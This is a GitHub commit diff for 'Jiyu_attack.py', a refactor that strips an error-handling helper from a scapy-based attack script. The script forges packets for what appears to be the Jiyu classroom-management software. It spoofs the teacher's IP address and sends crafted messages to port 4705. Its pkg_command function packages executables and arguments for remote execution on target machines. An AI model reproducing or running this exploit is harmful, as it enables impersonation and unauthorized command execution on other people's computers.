Skip to content

Commit e95a8c6

Browse files
committed
refactor: Remove error handling from format_data and pkg_message functions for simplicity
1 parent bfcf6a1 commit e95a8c6

File tree

1 file changed

+14
-61
lines changed

1 file changed

+14
-61
lines changed

Jiyu_attack.py

Lines changed: 14 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -10,46 +10,12 @@
1010
"""
1111

1212
import secrets
13-
import warnings
1413

15-
from typing import Literal, Type
14+
from typing import Literal
1615

1716
import scapy.all as scapy
1817

1918

20-
def throw_error(
21-
message: str,
22-
*,
23-
error: Type[Exception] = ValueError,
24-
warning: Type[Warning] = UserWarning,
25-
errors: Literal["error", "warning", "ignore"] = "error",
26-
) -> None:
27-
"""
28-
Throws an error or warning based on the specified error handling strategy.
29-
30-
Args:
31-
message (str): The error or warning message.
32-
error (Type[Exception], optional): The exception type to raise if errors are set to "error". Defaults to ValueError.
33-
warning (Type[Warning], optional): The warning type to issue if errors are set to "warning". Defaults to UserWarning.
34-
errors (Literal["error", "warning", "ignore"], optional): Error handling strategy. Defaults to "error".
35-
36-
Raises:
37-
error: If errors is set to "error", raises the specified exception.
38-
warning: If errors is set to "warning", issues a warning of the specified type.
39-
ValueError: If errors is set to an invalid value.
40-
None: If errors is set to "ignore", does nothing.
41-
"""
42-
match errors:
43-
case "error":
44-
raise error(message)
45-
case "warning":
46-
warnings.warn(message, category=warning, stacklevel=2)
47-
case "ignore":
48-
pass
49-
case _:
50-
raise ValueError(f"Invalid error handling strategy: {errors}")
51-
52-
5319
def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
5420
"""
5521
Converts an IP address string to a tuple of four integers.
@@ -151,49 +117,40 @@ def ip_analyze(ip: str) -> list[str]:
151117
return [f"{ip_tuple[0]}.{ip_tuple[1]}.{ip_tuple[2]}.{ip_tuple[3]}"]
152118

153119

154-
def format_data(
155-
data: str,
156-
max_length: int,
157-
*,
158-
errors: Literal["error", "warning", "ignore"] = "error",
159-
) -> bytes:
120+
def format_data(data: str, max_length: int) -> bytes:
160121
"""
161122
Formats a string into a byte array, ensuring it is within the specified maximum length.
162123
163124
Args:
164125
msg (str): The input string to format.
165126
max_length (int, optional): The maximum length of the resulting byte array. Defaults to 800.
166-
errors (Literal["error", "warning", "ignore"], optional): Error handling strategy. Defaults to "error".
167127
168128
Returns:
169129
bytes: The formatted byte array, padded with null bytes if necessary.
170130
"""
171131
if not isinstance(data, str):
172-
throw_error(f"Expected string, got {type(data).__name__}", errors=errors)
173-
if not isinstance(max_length, int) or max_length <= 0:
174-
throw_error(f"Invalid maximum length: {max_length}", errors=errors)
132+
raise TypeError(f"Expected string, got {type(data).__name__}")
133+
if not isinstance(max_length, int):
134+
raise TypeError(f"Expected int, got {type(max_length).__name__}")
135+
if max_length <= 0:
136+
raise ValueError(f"Invalid maximum length: {max_length}")
175137
return data.encode("utf-16le").ljust(max_length, b"\x00")[:max_length]
176138

177139

178-
def pkg_message(
179-
msg: str,
180-
*,
181-
errors: Literal["error", "warning", "ignore"] = "error",
182-
) -> bytes:
140+
def pkg_message(msg: str) -> bytes:
183141
"""
184142
Packages a message string into a specific byte format, including a header and padding.
185143
186144
Args:
187145
msg (str): The message string to package.
188-
errors (Literal["error", "warning", "ignore"], optional): Error handling strategy. Defaults to "error".
189146
190147
Returns:
191148
bytes: The packaged message as a byte array, including a header and padding.
192149
193150
Raises:
194151
ValueError: If the message length exceeds 800 bytes or if the header length is incorrect
195152
"""
196-
data = format_data(msg, 800, errors=errors)
153+
data = format_data(msg, 800)
197154
head = (
198155
b"DMOC\x00\x00\x01\x00\x9e\x03\x00\x00"
199156
+ secrets.token_bytes(16)
@@ -207,8 +164,6 @@ def pkg_command(
207164
executable_file: str,
208165
arguments: str = "",
209166
mode: Literal["normal", "minimize", "maximize"] = "normal",
210-
*,
211-
errors: Literal["error", "warning", "ignore"] = "error",
212167
) -> bytes:
213168
"""
214169
Packages a command with an executable file and optional arguments into a specific byte format.
@@ -217,7 +172,6 @@ def pkg_command(
217172
executable_file (str): The name of the executable file to run.
218173
arguments (str, optional): The command-line arguments to pass to the executable. Defaults to an empty string.
219174
mode (Literal["normal", "minimize", "maximize"], optional): The mode of execution. Defaults to "normal".
220-
errors (Literal["error", "warning", "ignore"], optional): Error handling strategy. Defaults to "error".
221175
222176
Returns:
223177
bytes: The packaged command as a byte array, including a header and formatted data.
@@ -237,18 +191,17 @@ def pkg_command(
237191
+ b" N\x00\x00\xc0\xa8\xe9\x01a\x03\x00\x00a\x03\x00\x00"
238192
+ b"\x00\x02\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x01\x00\x00\x00"
239193
)
240-
data0 = format_data(executable_file, 512, errors=errors)
241-
data1 = format_data(arguments, 254, errors=errors)
242-
data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
194+
data0 = format_data(executable_file, 512)
195+
data1 = format_data(arguments, 254)
243196
match mode:
244197
case "normal":
245-
pass # No additional data needed for normal mode
198+
data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
246199
case "minimize":
247200
data2 = b"\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
248201
case "maximize":
249202
data2 = b"\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
250203
case _:
251-
throw_error(f"Invalid mode: {mode}", errors=errors)
204+
raise ValueError(f"Invalid mode: {mode}")
252205
return head + data0 + data1 + b"\x00" * 66 + data2
253206

254207

@@ -282,5 +235,5 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
282235
if not tmsg:
283236
print("Exiting...")
284237
break
285-
payload = pkg_message(tmsg, errors="error")
238+
payload = pkg_message(tmsg)
286239
send_packet(teacher_ip, target, 4705, payload)

0 commit comments

Comments
 (0)